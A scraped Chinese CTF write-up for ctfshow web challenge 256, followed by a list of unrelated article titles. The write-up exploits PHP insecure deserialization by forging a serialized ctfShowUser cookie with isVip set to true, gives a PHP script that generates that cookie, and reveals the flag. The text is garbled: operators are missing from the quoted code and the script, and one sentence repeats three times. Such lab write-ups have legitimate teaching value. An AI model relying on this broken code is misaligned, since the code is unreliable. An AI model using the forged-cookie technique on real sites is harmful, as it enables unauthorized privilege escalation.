当前位置: 首页 > news >正文

ctf show web 入门256

通过代码审计可以看出本题要求我们if(isset($username)isset($password)){$userunserialize($_COOKIE[user]);if($user-login($username,$password)){if($user-checkVip()){$user-vipOneKeyGetFlag();当cookie的值被反序列化后的username和password的值与在url输入的值一样时满足第一层if语句然后判断user是否为vip只有这个判断的返回结果为true才能执行user是否为vip只有这个判断的返回结果为true才能执行user是否为vip只有这个判断的返回结果为true才能执行user-vipOnekeygetflag()同时还要满足publicfunctionlogin($u,$p){return$this-username$u$this-password$p;}publicfunctionvipOneKeyGetFlag(){if($this-isVip){global$flag;if($this-username!$this-password){echoyour flag is .$flag;username和password的值要满足用户名和密码不能相同我们可以本地运行一段简单的 PHP 代码来生成我们需要的序列化字符串?php class ctfShowUser { public $username admin; // 任意设置但不要与密码相同 public $password secret; // 任意设置 public $isVip true; // 必须为 true } $user new ctfShowUser(); echo urlencode(serialize($user)); ?这里就可以直接把输出的结果放入该网站的cookie中我们先按下f12打开开发者工具先添加一个cookie然后对这个cookie的名称和值进行修改因为这次的反序列化后的值已经被url编码使用可以直接输入没有限制最后flag为your flag is ctfshow{3e5d5dc9-1b36-4060-8b1d-90f74ac4ef9f}
http://www.zskr.cn/news/1399316.html

相关文章:

  • 土地利用优化配置的多目标人工免疫优化模型【附程序】
  • 别再死记硬背了!用UE4 DS做联机游戏,搞懂Role和Replicate才是王道
  • 网安副业单日入账 12k,到底是什么私活这么赚钱?
  • 2026年4月大连味之母口碑好吗,大连味之母,大连味之母好不好 - 品牌推荐师
  • 告别数据手册:手把手教你用STM32的SPI驱动GAD7980 ADC(附完整代码)
  • 2026年热门的海口美兰机场租车/海口包年租车/海口租中巴租车/海口东站租车品牌公司推荐 - 行业平台推荐
  • taotoken的api密钥管理与审计日志如何满足企业安全合规需求
  • 从代码实现到系统设计:AI时代开发者的核心技能重构
  • 别再为注释文件发愁了!用AUGUSTUS+GETA,把NCBI的gbff轻松转成你需要的gff3和蛋白序列
  • 告别CLion后,如何彻底清理macOS/Linux上的JetBrains配置残留文件?
  • 因果AI在电信反欺诈的实践:从预测到干预的决策智能引擎
  • AI时代安全工程师的转型:从代码实现到安全架构与AI协同
  • 基于交互式多头注意力网络的方面级情感分析:从BERT到IMAN的工程实践
  • 别再只用Hydra了!这5个SSH密码爆破工具实战对比(附Kali环境配置)
  • 【大白话说Java面试题 第76题】【Mysql篇】第6题:谈谈你对 Hash 索引的理解
  • CEO年度战略复盘:从数据叙事到战略聚焦的沟通艺术
  • Flutter 国际化与本地化实战指南
  • ARMv8/ARMv9架构MDCR_EL3寄存器详解与调试实践
  • MemPalace:开源AI记忆系统,实现LLM持久化本地记忆管理
  • 后台静默失效:系统隐形杀手与高可用架构防御实战
  • AI协同开发实战:从架构设计到部署的十四周SaaS平台构建
  • AutoDL远程桌面连接保姆级教程:从VNC Viewer配置到SSH隧道避坑(附进程管理)
  • AI编程工具成本优化实战:Squeezr代理压缩上下文节省70%API开销
  • 告别Thonny!用VSCode+RT-Thread插件玩转合宙ESP32-C3的MicroPython开发(附固件烧录避坑指南)
  • ShotgunWSD 2.0:基于词向量聚类与离群点消除的全局词义消歧算法详解
  • 手把手教你理解Xilinx PCIe IP核的AXI-Stream接口:以PG213文档中的m_axis_cq_tuser为例
  • 企业级实时音视频方案怎么选?自建、SDK集成、全托管三套方案成本对比
  • 别再让远处的模型糊成一片了!Unity/UE4中Mipmap的正确打开方式与性能调优
  • 别再让SkinnedMeshRenderer拖垮你的游戏!Unity骨骼动画性能优化实战(BakeMesh + 动态合批)
  • 避坑指南:Automation Studio变量关联与PCVue数据缩放的那些“坑”